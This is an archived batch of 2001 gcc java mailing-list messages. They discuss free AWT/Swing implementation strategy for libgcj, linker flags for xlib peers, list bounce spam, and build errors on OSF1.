From java-return-6494-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 22:22:09 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 26210 invoked by alias); 13 Jul 2001 22:22:08 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 26190 invoked from network); 13 Jul 2001 22:22:08 -0000 Received: from unknown (HELO crewsoft.com) (157.22.214.1) by sourceware.cygnus.com with SMTP; 13 Jul 2001 22:22:08 -0000 Received: from [63.197.8.222] (account cberger@wireless-networks.com HELO wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.4.7) with ESMTP id 778696; Fri, 13 Jul 2001 15:25:38 -0700 Message-ID: <3B4F74CC.172684D@wireless-networks.com> Date: Fri, 13 Jul 2001 15:23:08 -0700 From: Cedric Berger X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Per Bothner CC: "Rolf W. Rasmussen" , java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? References: <87lmltd8f6.fsf@creche.redhat.com> <3B4E3492.5A8E0BDB@wireless-networks.com> <20010713150731.A17995@apal.ii.uib.no> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Per Bothner wrote: > "Rolf W. Rasmussen" writes: > > > The problem arose when I tried to implement more complex components such > > as text fields. First then I realized what a terrible state Swing APIs was > > in. Swing is horribly underspecified. The documentation of a large > > portion of classes is practically non-existant, and while the design of > > Swing on the surface may look sound, the further you dig into the details, > > the more messy it gets. The chances of creating a proper clean room Swing > > implementation without seems pretty bleak. > > I would like to have usable and mostly-compatible implementations > of the Swing components (e.g. JTree) and "models" (e.g. TreeModel). > I care much less about the UI delegate classes, the PLAF (Pluggable > Look and Feel) implementation, the text View classes, or in general > "implementation" classes. I suspect relatively liitle code uses those > directly, and that's a "experts-only" thing. I've some problem with theses assumptions. IMHO, there is two different kind of applications which will benefit from an AWT/SWING application: 1) embedded system with displays (Palm, Java Phones, ...) 2) desktop applications For embedded applications, Swing is probably too big. What is really needed is a simple, *peerless* AWT implementation. For theses (embedded) applications, the best would be to have a "Xlib peer" approch with Java-written peerless AWT component. This way, embedded developpers would have to reimplement the basic AWT components (Canevas, Component, Window) but all the widgets could then be 100% reused. For desktop application: - the same, simple, peerless AWT should be enough to run Yahoo games ;) - no PLAF will mean that very popular development applications (Like JBuilder, netbeans, ...) will not work because they all tweak the UI in some ways. - no View class will be worse, because you need to subclass View class if you want to implement things like "terminal pane", "syntax coloring", ... I don't believe it is possible to implement enough of Swing based on native peers, (Gtk, Windows, ...). Look what Apple did: If it was possible, I'm sure they would have implemented Mac OS X Look and Feel using their native library. But they didn't do it. They reimplemented the whole L&F using "Pure Java" stuff, and there is many reasons for that. I believe the Swing over native-widget is a dead-end solution. On the other end, I completely agree that a "Desktop" implementation of AWT/Swing should be properly integrated with the platform GUI system, and Gnome must be the first priority (with OsX and Win32 second-third priorities) Cedric From java-return-6495-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 22:33:24 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29235 invoked by alias); 13 Jul 2001 22:33:24 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29215 invoked from network); 13 Jul 2001 22:33:23 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 13 Jul 2001 22:33:23 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6DMaSf23832; Fri, 13 Jul 2001 15:36:28 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: java-discuss@sources.redhat.com Subject: using xlib peers From: Per Bothner Date: 13 Jul 2001 15:36:28 -0700 Message-ID: Lines: 13 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii In case somebody wants to try the xlib peers, this is what I had to do to run Rolf's demos. (This is after configuring with --enable-java-awt=xlib.) gcj -rdynamic - AWTDemo --main=AWTDemo -g AWTDemo.java -Dawt.toolkit=gnu.awt.xlib.XToolkit /home/bothner/GNU/linux-gcc/i686-pc-linux-gnu/libstdc++-v3/libsupc++/*.o The problem was that some native code used the stl , which requires operator new in libsupc++, so I would get: ./AWTDemo: error while loading shared libraries: /home/bothner/GNU/install-gcc/lib/libgcjx.so.2: undefined symbol: _Znwj this was the only way I could get it to work - just adding -lsupc++ doesn't work, for example. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6496-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 23:02:45 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4063 invoked by alias); 13 Jul 2001 23:02:44 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4042 invoked from network); 13 Jul 2001 23:02:44 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 13 Jul 2001 23:02:44 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id QAA26951; Fri, 13 Jul 2001 16:02:43 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id QAA15406; Fri, 13 Jul 2001 16:02:43 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15183.32275.660573.363648@fencer.cygnus.com> Date: Fri, 13 Jul 2001 16:02:43 -0700 (PDT) To: Cedric Berger Cc: java-discuss@sources.redhat.com Subject: Re: Noel_JC_Sales/Netherlands/IBM%IBMGB%IBMNL@uk.ibm.com In-Reply-To: <3B4F5A61.49293705@wireless-networks.com> References: <3B4F5A61.49293705@wireless-networks.com> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: I fill MY industrial waste containers with old copies of the ``WATCHTOWER'' and then add HAWAIIAN PUNCH to the top.. They look NICE in the yard-- Cedric Berger writes: > I'm I the only one to receive this junk each time I send a message > on this list? I'm also getting Receiver:mobilian@netsgo.com No such user too. ./A From java-return-6497-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 23:08:28 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 5583 invoked by alias); 13 Jul 2001 23:08:28 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 5549 invoked from network); 13 Jul 2001 23:08:25 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 13 Jul 2001 23:08:25 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA31250; Fri, 13 Jul 2001 17:08:18 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id RAA13735; Fri, 13 Jul 2001 17:31:45 -0600 To: apbianco@cygnus.com Cc: Cedric Berger , java-discuss@sources.redhat.com Subject: Re: Noel_JC_Sales/Netherlands/IBM%IBMGB%IBMNL@uk.ibm.com References: <3B4F5A61.49293705@wireless-networks.com> <15183.24406.619217.557354@fencer.cygnus.com> X-Zippy: Yow! Maybe I should have asked for my Neutron Bomb in PAISLEY-- X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 13 Jul 2001 17:31:44 -0600 In-Reply-To: Alexandre Petit-Bianco's message of "Fri, 13 Jul 2001 13:51:34 -0700 (PDT)" Message-ID: <87bsmol82n.fsf@creche.redhat.com> Lines: 11 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Alex" == Alexandre Petit-Bianco writes: Alex> I can't remember who's administering the java lists. It used to Alex> be me (in the sourceware.cygnus.com times) but think membership Alex> has been transfered to someone else ever since. I can't remember Alex> who owns it now. I don't know who owns it, but I can remove this person from the list. I'll do that soon; maybe not today though. Tom From java-return-6498-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 23:16:15 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 7593 invoked by alias); 13 Jul 2001 23:16:15 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 7546 invoked from network); 13 Jul 2001 23:16:12 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 13 Jul 2001 23:16:12 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6DNJG309000; Fri, 13 Jul 2001 16:19:16 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: Cedric Berger Cc: java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? References: <87lmltd8f6.fsf@creche.redhat.com> <3B4E3492.5A8E0BDB@wireless-networks.com> <20010713150731.A17995@apal.ii.uib.no> <3B4F74CC.172684D@wireless-networks.com> From: Per Bothner Date: 13 Jul 2001 16:19:16 -0700 In-Reply-To: <3B4F74CC.172684D@wireless-networks.com> Message-ID: Lines: 57 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cedric Berger writes: > Per Bothner wrote: > > I would like to have usable and mostly-compatible implementations > > of the Swing components (e.g. JTree) and "models" (e.g. TreeModel). > > I care much less about the UI delegate classes, the PLAF (Pluggable > > Look and Feel) implementation, the text View classes, or in general > > "implementation" classes. I suspect relatively liitle code uses those > > directly, and that's a "experts-only" thing. > > I've some problem with theses assumptions. IMHO, there is two different kind > of applications which will benefit from an AWT/SWING application: > > 1) embedded system with displays (Palm, Java Phones, ...) > 2) desktop applications > > For embedded applications, Swing is probably too big. What is really needed is > a simple, *peerless* AWT implementation. For theses (embedded) applications, > the best would be to have a "Xlib peer" approch with Java-written peerless > AWT component. This way, embedded developpers would have to reimplement > the basic AWT components (Canevas, Component, Window) but all the widgets > could then be 100% reused. Of course this approach is useful for the desktop too, as you mention - I don't think anybody except implementors cares about peers, and they only because they're supposed to. Though for the desktop we have the luxury that we can use gtk if we want to and not worry as much about overhead. > - no PLAF will mean that very popular development applications (Like JBuilder, > netbeans, ...) will not work because they all tweak the UI in some ways. That's not really our concern. JBuilder is non-Free. NetBeans requires non-Free components, even beyond JDK. > - no View class will be worse, because you need to subclass View class if you > want to implement things like "terminal pane", "syntax coloring", ... Ideally I would like to implement a complete 100%-compatible Free Swing. That will take years, and I don't see it happening, unless Sun decides to open-source Swing. Lacking that, the question is whether there is a 80%-solution-with-20%-of-the-work we can/should aim for. > Look what Apple did: If it was possible, I'm sure they would have implemented > Mac OS X Look and Feel using their native library. But they didn't do it. They > reimplemented the whole L&F using "Pure Java" stuff, and there is many reasons > for that. Yes. But they had licensed Swing. We don't have that option. > I believe the Swing over native-widget is a dead-end solution. It is certainly not a great solution. But is it a way we can get an 80% solution? -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6499-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 23:41:26 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 12945 invoked by alias); 13 Jul 2001 23:41:26 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12920 invoked from network); 13 Jul 2001 23:41:25 -0000 Received: from unknown (HELO crewsoft.com) (157.22.214.1) by sourceware.cygnus.com with SMTP; 13 Jul 2001 23:41:25 -0000 Received: from [63.197.8.222] (account cberger@wireless-networks.com HELO wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.4.7) with ESMTP id 778806; Fri, 13 Jul 2001 16:44:55 -0700 Message-ID: <3B4F8761.31941B28@wireless-networks.com> Date: Fri, 13 Jul 2001 16:42:25 -0700 From: Cedric Berger X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Per Bothner CC: java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? References: <87lmltd8f6.fsf@creche.redhat.com> <3B4E3492.5A8E0BDB@wireless-networks.com> <20010713150731.A17995@apal.ii.uib.no> <3B4F74CC.172684D@wireless-networks.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Per Bothner wrote: > Cedric Berger writes: > > > Per Bothner wrote: > > > I would like to have usable and mostly-compatible implementations > > > of the Swing components (e.g. JTree) and "models" (e.g. TreeModel). > > > I care much less about the UI delegate classes, the PLAF (Pluggable > > > Look and Feel) implementation, the text View classes, or in general > > > "implementation" classes. I suspect relatively liitle code uses those > > > directly, and that's a "experts-only" thing. > > > > I've some problem with theses assumptions. IMHO, there is two different kind > > of applications which will benefit from an AWT/SWING application: > > > > 1) embedded system with displays (Palm, Java Phones, ...) > > 2) desktop applications > > > > For embedded applications, Swing is probably too big. What is really needed is > > a simple, *peerless* AWT implementation. For theses (embedded) applications, > > the best would be to have a "Xlib peer" approch with Java-written peerless > > AWT component. This way, embedded developpers would have to reimplement > > the basic AWT components (Canevas, Component, Window) but all the widgets > > could then be 100% reused. > > Of course this approach is useful for the desktop too, as you mention > - I don't think anybody except implementors cares about peers, and > they only because they're supposed to. Though for the desktop we have > the luxury that we can use gtk if we want to and not worry as much > about overhead. > > > - no PLAF will mean that very popular development applications (Like JBuilder, > > netbeans, ...) will not work because they all tweak the UI in some ways. > > That's not really our concern. JBuilder is non-Free. NetBeans requires > non-Free components, even beyond JDK. I don't really get your point... gcc is certainly used to compile proprietary programs..... Moreover, if JBuilder can be one day compiled with GCJ, which will help Borland run it maybee faster and on more platform, maybee Borland (and other commercial entities) will see the light and help GCJ development? > > - no View class will be worse, because you need to subclass View class if you > > want to implement things like "terminal pane", "syntax coloring", ... > > Ideally I would like to implement a complete 100%-compatible Free > Swing. That will take years, and I don't see it happening, unless Sun > decides to open-source Swing. Lacking that, the question is whether > there is a 80%-solution-with-20%-of-the-work we can/should aim for. Good question. I don't really know the answer (i.e. will the GTK peer solution really give a 80%-solution?) > > Look what Apple did: If it was possible, I'm sure they would have implemented > > Mac OS X Look and Feel using their native library. But they didn't do it. They > > reimplemented the whole L&F using "Pure Java" stuff, and there is many reasons > > for that. > > Yes. But they had licensed Swing. We don't have that option. And what about, for a 80% solution, distributing GCJ with the Sun's JFC 1.1.1, which is freely redistributable..... In the mean time, Who knows, maybee Sun will open its code a little bit more? Cedric > > I believe the Swing over native-widget is a dead-end solution. > > It is certainly not a great solution. But is it a way we can get an > 80% solution? > -- > --Per Bothner > per@bothner.com http://www.bothner.com/per/ From java-return-6500-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 23:41:29 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13062 invoked by alias); 13 Jul 2001 23:41:29 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13023 invoked from network); 13 Jul 2001 23:41:28 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 13 Jul 2001 23:41:28 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id QAA29953; Fri, 13 Jul 2001 16:41:27 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id QAA15449; Fri, 13 Jul 2001 16:41:27 -0700 To: gcc-bugs@gcc.gnu.org, java@gcc.gnu.org Subject: Re: C++ FE problem building libjava. References: <200107132313.QAA15430@fencer.cygnus.com> From: Alexandre Petit-Bianco Date: 13 Jul 2001 16:41:27 -0700 In-Reply-To: Alexandre Petit-Bianco's message of Fri, 13 Jul 2001 16:13:23 -0700 Message-ID: Lines: 10 X-Mailer: Gnus v5.3/Emacs 19.34 Alexandre Petit-Bianco writes: > It's fairly easy to reproduce with the following test case: Sorry, I take that back. I just re-updated/re-built and now C++ just emits a warning but doesn't crash. ./A From java-return-6501-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 14 01:34:47 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 8567 invoked by alias); 14 Jul 2001 01:34:47 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 8545 invoked from network); 14 Jul 2001 01:34:45 -0000 Received: from unknown (HELO poboxer.pobox.com) (199.199.248.19) by sourceware.cygnus.com with SMTP; 14 Jul 2001 01:34:45 -0000 Received: from spanky.love.edu.love.edu (spanky.love.edu [172.30.0.35]) by poboxer.pobox.com (8.9.3/8.9.3) with ESMTP id UAA22248; Fri, 13 Jul 2001 20:31:02 -0500 From: Tony Kimball MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15183.41408.210548.306418@spanky.love.edu> Date: Fri, 13 Jul 2001 20:34:56 -0500 X-Face: \h9Jg:Cuivl4S*UP-)gO.6O=T]]@ncM*tn4zG);)lk#4|lqEx=*talx?.Gk,dMQU2)ptPC17cpBzm(l'M|H8BUF1&]dDCxZ.c~Wy6-j,^V1E(NtX$FpkkdnJixsJHE95JlhO 5\M3jh'YiO7KPCn0~W`Ro44_TB@&JuuqRqgPL'0/{):7rU-%.*@/>q?1&Ed Reply-To: alk@pobox.com To: aph@cambridge.redhat.com Cc: java@gcc.gnu.org Subject: recursive signal handling References: <15183.14858.810643.440286@spanky.love.edu> <15183.15167.142932.680601@cuddles.cambridge.redhat.com> X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Quoth Andrew Haley on Friday, 13 July: : : This is probably related to the problem Martin Kahlert posted a patch : for earler today. Thanks for the tip, I'll try it. : : > Is there a good reason why the signal handler : > is reinstated during execution? : : Is it? Where? I haven't seen where, but the fact that it is recurring seems to make a good prima facie case that it is, in fact. From java-return-6502-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 14 04:12:49 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 5452 invoked by alias); 14 Jul 2001 04:12:48 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 5429 invoked from network); 14 Jul 2001 04:12:47 -0000 Received: from unknown (HELO mta6-rme.xtra.co.nz) (203.96.92.19) by sourceware.cygnus.com with SMTP; 14 Jul 2001 04:12:47 -0000 Received: from kiteless ([210.54.255.227]) by mta6-rme.xtra.co.nz with ESMTP id <20010714041245.NUBZ3874492.mta6-rme.xtra.co.nz@kiteless>; Sat, 14 Jul 2001 16:12:45 +1200 Date: Sat, 14 Jul 2001 16:13:30 +1200 From: Bryce McKinlay Content-Type: text/plain; format=flowed; charset=us-ascii Subject: Re: using xlib peers Cc: java-discuss@sources.redhat.com To: Per Bothner X-Mailer: Apple Mail (2.388) In-Reply-To: Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit Message-Id: <20010714041245.NUBZ3874492.mta6-rme.xtra.co.nz@kiteless> On Saturday, July 14, 2001, at 10:36 AM, Per Bothner wrote: > In case somebody wants to try the xlib peers, this is what I had to do > to run Rolf's demos. (This is after configuring with --enable-java- > awt=xlib.) > > gcj -rdynamic - AWTDemo --main=AWTDemo -g AWTDemo.java > -Dawt.toolkit=gnu.awt.xlib.XToolkit /home/bothner/GNU/linux- > gcc/i686-pc-linux-gnu/libstdc++-v3/libsupc++/*.o > > The problem was that some native code used the stl , > which requires operator new in libsupc++, so I would get: > ./AWTDemo: error while loading shared libraries: > /home/bothner/GNU/install-gcc/lib/libgcjx.so.2: undefined symbol: _Znwj > this was the only way I could get it to work - just adding -lsupc++ > doesn't work, for example. How about "-lstdc++" ? regards [ bryce ] From java-return-6503-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 14 05:32:07 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20468 invoked by alias); 14 Jul 2001 05:32:06 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20448 invoked from network); 14 Jul 2001 05:32:05 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 14 Jul 2001 05:32:05 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6E5Z9f01335; Fri, 13 Jul 2001 22:35:09 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: Bryce McKinlay Cc: java-discuss@sources.redhat.com Subject: Re: using xlib peers References: <20010714041245.NUBZ3874492.mta6-rme.xtra.co.nz@kiteless> From: Per Bothner Date: 13 Jul 2001 22:35:08 -0700 In-Reply-To: <20010714041245.NUBZ3874492.mta6-rme.xtra.co.nz@kiteless> Message-ID: Lines: 8 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Bryce McKinlay writes: > How about "-lstdc++" ? Yep, that works. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6504-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 14 05:53:27 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 25023 invoked by alias); 14 Jul 2001 05:53:27 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 25003 invoked from network); 14 Jul 2001 05:53:27 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 14 Jul 2001 05:53:27 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6E5uXM10272; Fri, 13 Jul 2001 22:56:33 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: Cedric Berger Cc: java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? References: <87lmltd8f6.fsf@creche.redhat.com> <3B4E3492.5A8E0BDB@wireless-networks.com> <20010713150731.A17995@apal.ii.uib.no> <3B4F74CC.172684D@wireless-networks.com> <3B4F8761.31941B28@wireless-networks.com> From: Per Bothner Date: 13 Jul 2001 22:56:33 -0700 In-Reply-To: <3B4F8761.31941B28@wireless-networks.com> Message-ID: Lines: 37 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cedric Berger writes: > I don't really get your point... gcc is certainly used to compile proprietary programs..... The point is our goal is not to make it easier to use non-Free products. Being able to compile non-Free code is rather different from being able to link with non-Free code. While we're far from either (when it comes to GUI-heavy code), GCC has always had the goal of being able to process (compile) non-Free code, but making it easy to link GNU code with non-Free code is not a goal, in fact the whole point of the GPL is to prohibit that. Of course libgcj does not use the GPL, so you can (intentionally) link it with non-Free code, but it is not a priority. > Moreover, if JBuilder can be one day compiled with GCJ, which will help Borland > run it maybee faster and on more platform, maybee Borland (and other commercial > entities) will see the light and help GCJ development? Maybe, maybe not. Some companies see the value of getting directly involved with Free Software development; many do not. It is desirable that GCJ can be used for non-Free applications *in general*, but how well we handle a particular non-Free non-benchmark application that is owned by a company that is not contributing to Free software is not particularly interesting. Of course I'd *like* to be able to build and run as many application as possible, but clearly Free ones have to have higher priority. > And what about, for a 80% solution, distributing GCJ with the Sun's > JFC 1.1.1, which is freely redistributable..... In the mean time, I don't think the GCJ project can do that officially. We make it *possible*, once we have a sufficiently-powerful AWT, for people to use JFC 1.1.1, but we cannot distribute it ourselves. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6505-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 14 07:28:39 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29265 invoked by alias); 14 Jul 2001 07:28:38 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29228 invoked from network); 14 Jul 2001 07:28:34 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 14 Jul 2001 07:28:34 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6E7SUa22289 for ; Sat, 14 Jul 2001 02:28:30 -0500 (EST) Date: Sat, 14 Jul 2001 02:28:30 -0500 (EST) From: Antonio Ake To: Subject: natFile.cc does not compile in OSF1 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am working with 3.0.1 and my architecture is OSF1 V5.0 910 alpha I am trying to build libgcj, when is compiling natFile.cc I have a problem with the java::io::File:stat command: -I/usr/music/ake/const/alphaev56-dec-osf5.0/libstdc++-v3/include -I/usr/music/ake/gcc-20010702/libstdc++-v3/include -I/usr/music/ake/gcc-20010702/libstdc++-v3/include/std -I/usr/music/ake/gcc-20010702/libstdc++-v3/include/c_std -I/usr/music/ake/gcc-20010702/libstdc++-v3/libsupc++ -I/usr/music/ake/gcc-20010702/libstdc++-v3/libio -I/usr/music/ake/gcc-20010702/libstdc++-v3/testsuite -I/usr/music/ake/gcc-20010702/libstdc++-v3/include/backwards -I/usr/music/ake/gcc-20010702/libstdc++-v3/include/ext -L/usr/music/ake/const/alphaev56-dec-osf5.0/libstdc++-v3/src -L/usr/music/ake/const/alphaev56-dec-osf5.0/libstdc++-v3/src/.libs -B/usr/users/ake/compilers//alphaev56-dec-osf5.0/bin/ -B/usr/users/ake/compilers//alphaev56-dec-osf5.0/lib/ -isystem /usr/users/ake/compilers//alphaev56-dec-osf5.0/include -DHAVE_CONFIG_H -I. -I../../../gcc-20010702/libjava -I./include -I../../../gcc-20010702/libjava -Iinclude -I../../../gcc-20010702/libjava/include -I../../../gcc-20010702/libjava/../boehm-gc -I./../boehm-gc -DSILENT=1 -DNO_SIGNALS=1 -DJAVA_FINALIZATION=1 -DGC_GCJ_SUPPORT=1 -I../../../gcc-20010702/libjava/libltdl -I../../../gcc-20010702/libjava/libltdl -I../../../gcc-20010702/libjava/./../gcc -I../../../gcc-20010702/libjava/../zlib -I../../../gcc-20010702/libjava/../libffi/include -I../libffi/include -fno-rtti -fnon-call-exceptions -fdollars-in-identifiers -mieee -W -Wall -D_GNU_SOURCE -g -O2 -mieee -Wp,-MD,.deps/natFile.pp -c ../../../gcc-20010702/libjava/java/io/natFile.cc -DPIC -o java/io/.libs/natFile.o Error message: java/io/File.h:110:22: macro "stat" requires 2 arguments, but only 1 given ../../../gcc-20010702/libjava/java/io/natFile.cc:62:33: macro "stat" requires 2 arguments, but only 1 given ../../../gcc-20010702/libjava/java/io/natFile.cc:63: syntax error before `{' token ../../../gcc-20010702/libjava/java/io/natFile.cc:65: invalid use of member `java::io::File::path' ../../../gcc-20010702/libjava/java/io/natFile.cc:65: invalid use of member `java::io::File::path' ../../../gcc-20010702/libjava/java/io/natFile.cc:65: `buf' was not declared in this scope ../../../gcc-20010702/libjava/java/io/natFile.cc:67: ISO C++ forbids declaration of `buf' with no type ../../../gcc-20010702/libjava/java/io/natFile.cc:67: variable-sized object `buf' may not be initialized ../../../gcc-20010702/libjava/java/io/natFile.cc:67: storage size of `buf' isn't constant ../../../gcc-20010702/libjava/java/io/natFile.cc:69: parse error before `if' ../../../gcc-20010702/libjava/java/io/natFile.cc:74: parse error before `if' ../../../gcc-20010702/libjava/java/io/natFile.cc:79: parse error before `return From java-return-6506-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 15 01:09:11 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 7069 invoked by alias); 15 Jul 2001 01:09:11 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 6929 invoked from network); 15 Jul 2001 01:07:50 -0000 Received: from unknown (HELO 